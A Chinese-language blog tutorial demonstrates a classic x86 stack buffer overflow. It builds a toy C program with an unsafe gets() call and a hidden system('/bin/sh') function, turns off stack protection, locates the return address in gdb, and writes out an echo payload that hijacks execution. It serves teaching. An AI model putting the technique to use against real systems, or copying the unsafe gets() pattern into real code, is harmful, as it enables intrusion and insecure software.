[Security] Buffer Overflow

前言

Buffer Overflow是最基礎也是最常見的漏洞攻擊,以下是在x86執行的實作範例。

程式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
void func(){
system("/bin/sh") ;
}
void exec(){
char buf[10] ;
puts("What's your name?") ;
gets(buf);
printf("Hi !! %s\n",buf) ;
}
int main(){
exec();
return 0;
}

這是一支簡單的讀入輸出的程式碼,但注意到由於buf只有10個byte的空間,所以一旦輸入大於10個byte的字串就有可能造成意外。

Stack Smashing

普遍編譯器都會提供Stack Smashing的保護,但為了簡單示範在編譯時將保護關掉。

1
2
gcc -c -fno-stack-protector test.c
gcc -o test test.o

攻擊

假設程式碼中剛剛好有你想執行的函式,如此一來我們只要取得函式的位置後利用overflow蓋過去欲執行的位置即可。

GDB

我們可以利用gdb來debugger

1
gdb ./test

查看main的stack分佈

1
(gdb) disas main

得知在*main+6的位置執行exec函式,因此我們先在這邊設一個Break Point

1
(gdb) b *main+6

再來我們查看exec

1
(gdb) disas exec

找到在*exec+49的位置return,因此在這邊設一個Break Point

1
(gdb) b *exec+49

接著運行程式碼

1
(gdb) r

由於呼叫函式會將接下來欲執行的程式位置push進堆疊,所以我們可以看到目前stack最上層就是呼叫完函式後欲執行的位置,也是我們欲覆蓋過去的地方。

1
(gdb) x/wx $esp

繼續執行程式碼

1
(gdb) c

接下來查看要塞幾個byte才能覆蓋到該位置,在這裡我們利用每個字母四個為一組來測試。

1
xxxxxxxxxxAAAABBBBCCCCDDDDEEEEFFFF

在第二個break point查看esp。

1
(gdb) x/wx $esp

得到位置為0x44444444,也就是DDDD的部分,因此我們需要在DDDD的部分放進想執行的位置,現在來查看欲執行的函式位置。

1
(gdb) disas *exec

得到位置為0x080484ad,因此可以得到我們的攻擊字串,由於是little endian所以記得將位置相反。

1
echo -ne "xxxxxxxxxxAAAABBBBCCCC\xad\x84\x04\x08\n" > s

再將字串丟進程式運行則可以發現執行到覆蓋的部分了。

1
cat s - | ./test

結論

這只是展示最簡單的Buffer Overflow運行原理,不過一般情況會有許多的保護機制,也不太可能這麼剛好塞了特別的函式讓你運行,其餘的方法待之後學習紀錄。